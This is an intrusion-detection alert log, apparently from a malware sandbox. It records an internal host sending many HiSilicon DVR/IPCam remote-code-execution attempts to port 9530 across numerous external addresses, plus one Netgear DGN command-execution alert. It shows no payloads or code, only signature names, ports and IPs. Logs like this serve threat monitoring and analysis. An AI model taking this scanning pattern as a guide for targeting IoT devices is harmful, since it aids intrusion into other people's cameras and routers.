05/16/24-16:38:50.046311	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52312	9530	192.168.2.23	63.13.66.50
05/16/24-16:38:50.046311	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52312	9530	192.168.2.23	63.13.66.50
05/16/24-16:39:16.605721	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43880	9530	192.168.2.23	147.160.193.30
05/16/24-16:39:16.605721	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43880	9530	192.168.2.23	147.160.193.30
05/16/24-16:39:08.136438	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50492	9530	192.168.2.23	2.28.155.30
05/16/24-16:38:57.304889	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40408	9530	192.168.2.23	54.157.160.52
05/16/24-16:38:57.304889	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40408	9530	192.168.2.23	54.157.160.52
05/16/24-16:39:08.136438	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50492	9530	192.168.2.23	2.28.155.30
05/16/24-16:39:08.041796	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45180	9530	192.168.2.23	70.195.180.143
05/16/24-16:39:08.041796	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45180	9530	192.168.2.23	70.195.180.143
05/16/24-16:39:12.406600	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52622	9530	192.168.2.23	223.171.230.72
05/16/24-16:39:12.406600	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52622	9530	192.168.2.23	223.171.230.72
05/16/24-16:39:03.276896	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37740	9530	192.168.2.23	96.20.116.132
05/16/24-16:39:03.276896	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37740	9530	192.168.2.23	96.20.116.132
05/16/24-16:39:08.137722	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58220	9530	192.168.2.23	197.233.126.165
05/16/24-16:39:08.137722	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58220	9530	192.168.2.23	197.233.126.165
05/16/24-16:39:14.494708	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44780	9530	192.168.2.23	32.75.76.126
05/16/24-16:39:14.494708	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44780	9530	192.168.2.23	32.75.76.126
05/16/24-16:38:57.444117	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39316	9530	192.168.2.23	68.142.99.199
05/16/24-16:39:12.382801	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44750	9530	192.168.2.23	41.219.110.114
05/16/24-16:39:12.382801	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44750	9530	192.168.2.23	41.219.110.114
05/16/24-16:38:59.560291	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48870	9530	192.168.2.23	176.198.132.16
05/16/24-16:38:59.560291	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48870	9530	192.168.2.23	176.198.132.16
05/16/24-16:38:55.210430	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	42082	9530	192.168.2.23	110.170.150.114
05/16/24-16:39:02.725525	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53584	9530	192.168.2.23	136.136.50.218
05/16/24-16:39:02.725525	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53584	9530	192.168.2.23	136.136.50.218
05/16/24-16:39:02.745285	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	38552	9530	192.168.2.23	64.173.187.193
05/16/24-16:39:02.745285	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	38552	9530	192.168.2.23	64.173.187.193
05/16/24-16:39:12.298169	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36366	9530	192.168.2.23	129.124.72.122
05/16/24-16:38:50.047742	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55998	9530	192.168.2.23	221.204.3.118
05/16/24-16:39:12.298169	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36366	9530	192.168.2.23	129.124.72.122
05/16/24-16:38:50.047742	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55998	9530	192.168.2.23	221.204.3.118
05/16/24-16:38:55.210430	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	42082	9530	192.168.2.23	110.170.150.114
05/16/24-16:39:12.304029	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54578	9530	192.168.2.23	170.88.43.219
05/16/24-16:39:12.304029	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54578	9530	192.168.2.23	170.88.43.219
05/16/24-16:39:08.123587	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60026	9530	192.168.2.23	58.142.241.89
05/16/24-16:39:08.123587	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60026	9530	192.168.2.23	58.142.241.89
05/16/24-16:38:59.557742	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37448	9530	192.168.2.23	72.168.41.25
05/16/24-16:38:59.557742	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37448	9530	192.168.2.23	72.168.41.25
05/16/24-16:38:53.065549	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37178	9530	192.168.2.23	80.181.235.84
05/16/24-16:38:53.065549	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37178	9530	192.168.2.23	80.181.235.84
05/16/24-16:39:05.676323	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46786	9530	192.168.2.23	169.22.163.201
05/16/24-16:38:59.520071	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37614	9530	192.168.2.23	48.94.127.250
05/16/24-16:38:59.520071	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37614	9530	192.168.2.23	48.94.127.250
05/16/24-16:39:05.676323	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46786	9530	192.168.2.23	169.22.163.201
05/16/24-16:39:08.045097	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49196	9530	192.168.2.23	173.53.113.85
05/16/24-16:39:08.136425	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58330	9530	192.168.2.23	102.100.23.71
05/16/24-16:39:08.045097	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49196	9530	192.168.2.23	173.53.113.85
05/16/24-16:39:08.136425	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58330	9530	192.168.2.23	102.100.23.71
05/16/24-16:39:08.149040	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58342	9530	192.168.2.23	48.215.153.89
05/16/24-16:39:08.143088	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37818	9530	192.168.2.23	78.111.111.186
05/16/24-16:38:57.303914	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55870	9530	192.168.2.23	166.236.100.82
05/16/24-16:39:08.143088	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37818	9530	192.168.2.23	78.111.111.186
05/16/24-16:39:12.407656	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46618	9530	192.168.2.23	217.228.82.187
05/16/24-16:39:12.407656	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46618	9530	192.168.2.23	217.228.82.187
05/16/24-16:39:14.507702	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55798	9530	192.168.2.23	193.9.103.153
05/16/24-16:39:14.507702	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55798	9530	192.168.2.23	193.9.103.153
05/16/24-16:38:57.303914	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55870	9530	192.168.2.23	166.236.100.82
05/16/24-16:39:08.149040	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58342	9530	192.168.2.23	48.215.153.89
05/16/24-16:39:05.704042	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54840	9530	192.168.2.23	74.217.62.99
05/16/24-16:39:05.676000	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50712	9530	192.168.2.23	53.105.121.45
05/16/24-16:39:05.676000	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50712	9530	192.168.2.23	53.105.121.45
05/16/24-16:39:05.704042	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54840	9530	192.168.2.23	74.217.62.99
05/16/24-16:39:02.746775	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53074	9530	192.168.2.23	160.189.82.59
05/16/24-16:39:02.746775	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53074	9530	192.168.2.23	160.189.82.59
05/16/24-16:39:08.041146	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57452	9530	192.168.2.23	67.19.44.26
05/16/24-16:39:14.493430	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36764	9530	192.168.2.23	140.180.239.252
05/16/24-16:39:14.493430	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36764	9530	192.168.2.23	140.180.239.252
05/16/24-16:39:08.041146	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57452	9530	192.168.2.23	67.19.44.26
05/16/24-16:39:16.582443	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	56290	9530	192.168.2.23	51.62.193.55
05/16/24-16:39:16.582443	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	56290	9530	192.168.2.23	51.62.193.55
05/16/24-16:39:16.615051	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54720	9530	192.168.2.23	73.14.134.8
05/16/24-16:39:08.035649	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55446	9530	192.168.2.23	117.216.193.5
05/16/24-16:39:16.615051	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54720	9530	192.168.2.23	73.14.134.8
05/16/24-16:39:08.035649	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55446	9530	192.168.2.23	117.216.193.5
05/16/24-16:38:55.212353	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52966	9530	192.168.2.23	133.66.148.28
05/16/24-16:39:08.145161	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41834	9530	192.168.2.23	109.143.171.38
05/16/24-16:38:50.052408	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50802	9530	192.168.2.23	202.244.68.82
05/16/24-16:39:08.145161	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41834	9530	192.168.2.23	109.143.171.38
05/16/24-16:38:50.052408	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50802	9530	192.168.2.23	202.244.68.82
05/16/24-16:38:55.212353	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52966	9530	192.168.2.23	133.66.148.28
05/16/24-16:38:53.011332	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34482	9530	192.168.2.23	129.213.137.67
05/16/24-16:38:53.011332	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34482	9530	192.168.2.23	129.213.137.67
05/16/24-16:39:05.715303	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49924	9530	192.168.2.23	98.224.39.225
05/16/24-16:39:05.715303	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49924	9530	192.168.2.23	98.224.39.225
05/16/24-16:39:16.605658	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47802	9530	192.168.2.23	136.78.174.192
05/16/24-16:38:59.559281	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	51690	9530	192.168.2.23	187.205.121.112
05/16/24-16:38:59.559281	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	51690	9530	192.168.2.23	187.205.121.112
05/16/24-16:39:16.605658	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47802	9530	192.168.2.23	136.78.174.192
05/16/24-16:39:14.511713	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33992	9530	192.168.2.23	85.155.0.75
05/16/24-16:39:14.511713	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33992	9530	192.168.2.23	85.155.0.75
05/16/24-16:38:59.558053	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	47690	9530	192.168.2.23	60.138.110.209
05/16/24-16:38:59.558053	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	47690	9530	192.168.2.23	60.138.110.209
05/16/24-16:38:53.066951	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52978	9530	192.168.2.23	217.98.216.59
05/16/24-16:38:53.066951	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52978	9530	192.168.2.23	217.98.216.59
05/16/24-16:38:50.063924	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	48340	9530	192.168.2.23	39.208.170.132
05/16/24-16:38:50.063924	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	48340	9530	192.168.2.23	39.208.170.132
05/16/24-16:38:59.519359	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	36872	9530	192.168.2.23	112.179.136.159
05/16/24-16:39:12.301264	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45336	9530	192.168.2.23	199.50.250.122
05/16/24-16:39:12.301264	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45336	9530	192.168.2.23	199.50.250.122
05/16/24-16:39:08.149383	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33724	9530	192.168.2.23	134.133.229.94
05/16/24-16:39:08.149383	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33724	9530	192.168.2.23	134.133.229.94
05/16/24-16:38:53.071619	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43110	9530	192.168.2.23	65.194.195.112
05/16/24-16:39:08.127292	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	41260	9530	192.168.2.23	86.90.221.161
05/16/24-16:38:53.071619	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43110	9530	192.168.2.23	65.194.195.112
05/16/24-16:39:08.127292	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	41260	9530	192.168.2.23	86.90.221.161
05/16/24-16:38:59.560288	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	52444	9530	192.168.2.23	82.137.239.208
05/16/24-16:38:59.560288	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	52444	9530	192.168.2.23	82.137.239.208
05/16/24-16:38:59.519359	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	36872	9530	192.168.2.23	112.179.136.159
05/16/24-16:39:14.517429	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58492	9530	192.168.2.23	200.212.251.228
05/16/24-16:38:57.444117	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39316	9530	192.168.2.23	68.142.99.199
05/16/24-16:39:09.560216	TCP	2024916	ET EXPLOIT Netgear DGN Remote Command Execution	52858	80	192.168.2.23	51.38.6.128
05/16/24-16:39:14.517429	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58492	9530	192.168.2.23	200.212.251.228
05/16/24-16:39:05.705278	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53116	9530	192.168.2.23	69.31.106.100
05/16/24-16:39:05.705278	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53116	9530	192.168.2.23	69.31.106.100
05/16/24-16:38:59.588239	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33518	9530	192.168.2.23	161.12.12.111
05/16/24-16:38:59.588239	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33518	9530	192.168.2.23	161.12.12.111
05/16/24-16:39:12.400937	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	46700	9530	192.168.2.23	9.47.59.138
05/16/24-16:39:12.400937	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	46700	9530	192.168.2.23	9.47.59.138
05/16/24-16:39:12.303997	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33096	9530	192.168.2.23	221.228.53.148
05/16/24-16:39:12.303997	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33096	9530	192.168.2.23	221.228.53.148
05/16/24-16:38:55.207675	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	54120	9530	192.168.2.23	171.181.209.244
05/16/24-16:39:16.597934	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34282	9530	192.168.2.23	122.240.236.198
05/16/24-16:38:55.207675	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	54120	9530	192.168.2.23	171.181.209.244
05/16/24-16:39:16.580835	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53310	9530	192.168.2.23	201.154.15.234
05/16/24-16:39:16.597934	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34282	9530	192.168.2.23	122.240.236.198
05/16/24-16:39:16.580835	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53310	9530	192.168.2.23	201.154.15.234
05/16/24-16:38:57.423122	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	44262	9530	192.168.2.23	190.21.89.149
05/16/24-16:39:14.492333	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	50812	9530	192.168.2.23	43.134.49.66
05/16/24-16:38:57.423122	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	44262	9530	192.168.2.23	190.21.89.149
05/16/24-16:39:14.492333	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	50812	9530	192.168.2.23	43.134.49.66
05/16/24-16:38:59.584404	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49958	9530	192.168.2.23	205.30.186.1
05/16/24-16:38:59.584404	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49958	9530	192.168.2.23	205.30.186.1
05/16/24-16:38:55.193157	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	34562	9530	192.168.2.23	109.109.34.220
05/16/24-16:38:57.305743	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53568	9530	192.168.2.23	111.16.149.170
05/16/24-16:38:55.193157	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	34562	9530	192.168.2.23	109.109.34.220
05/16/24-16:38:57.305743	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53568	9530	192.168.2.23	111.16.149.170
05/16/24-16:38:55.177041	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	53998	9530	192.168.2.23	100.0.70.250
05/16/24-16:38:55.177041	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	53998	9530	192.168.2.23	100.0.70.250
05/16/24-16:38:50.076337	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	37226	9530	192.168.2.23	179.104.29.4
05/16/24-16:39:08.146667	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	45096	9530	192.168.2.23	8.72.111.201
05/16/24-16:38:50.076337	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	37226	9530	192.168.2.23	179.104.29.4
05/16/24-16:39:08.146667	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	45096	9530	192.168.2.23	8.72.111.201
05/16/24-16:38:50.047560	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	59712	9530	192.168.2.23	123.61.117.54
05/16/24-16:38:50.047560	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	59712	9530	192.168.2.23	123.61.117.54
05/16/24-16:38:59.587371	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33794	9530	192.168.2.23	168.6.48.144
05/16/24-16:38:59.557718	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55694	9530	192.168.2.23	78.156.36.165
05/16/24-16:38:59.557718	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55694	9530	192.168.2.23	78.156.36.165
05/16/24-16:38:59.587371	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33794	9530	192.168.2.23	168.6.48.144
05/16/24-16:39:14.491255	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	57714	9530	192.168.2.23	85.9.47.239
05/16/24-16:39:14.491255	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	57714	9530	192.168.2.23	85.9.47.239
05/16/24-16:39:14.492268	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	49028	9530	192.168.2.23	25.89.84.57
05/16/24-16:39:14.492268	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	49028	9530	192.168.2.23	25.89.84.57
05/16/24-16:39:02.727965	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	58684	9530	192.168.2.23	12.37.251.212
05/16/24-16:39:12.298176	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35146	9530	192.168.2.23	181.100.162.197
05/16/24-16:39:02.727965	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	58684	9530	192.168.2.23	12.37.251.212
05/16/24-16:39:05.675959	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	55484	9530	192.168.2.23	197.46.111.52
05/16/24-16:39:05.675959	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55484	9530	192.168.2.23	197.46.111.52
05/16/24-16:39:12.298176	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35146	9530	192.168.2.23	181.100.162.197
05/16/24-16:38:57.438397	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43072	9530	192.168.2.23	197.228.101.90
05/16/24-16:38:57.438397	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43072	9530	192.168.2.23	197.228.101.90
05/16/24-16:39:16.599007	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	43838	9530	192.168.2.23	132.81.0.141
05/16/24-16:39:16.599007	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	43838	9530	192.168.2.23	132.81.0.141
05/16/24-16:38:57.441215	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	39718	9530	192.168.2.23	98.45.213.91
05/16/24-16:38:57.411404	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	60898	9530	192.168.2.23	209.63.130.20
05/16/24-16:39:14.491254	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	33806	9530	192.168.2.23	121.0.193.240
05/16/24-16:38:57.411404	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	60898	9530	192.168.2.23	209.63.130.20
05/16/24-16:38:57.441215	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	39718	9530	192.168.2.23	98.45.213.91
05/16/24-16:39:14.491254	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	33806	9530	192.168.2.23	121.0.193.240
05/16/24-16:39:02.767191	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	35096	9530	192.168.2.23	166.237.15.233
05/16/24-16:39:12.298141	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	40948	9530	192.168.2.23	119.94.53.106
05/16/24-16:39:02.767191	TCP	2030487	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound)	35096	9530	192.168.2.23	166.237.15.233
05/16/24-16:39:12.298141	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	40948	9530	192.168.2.23	119.94.53.106
05/16/24-16:38:55.193090	TCP	2030488	ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound)	55230	9530	192.168.2.23	41.86.209.238
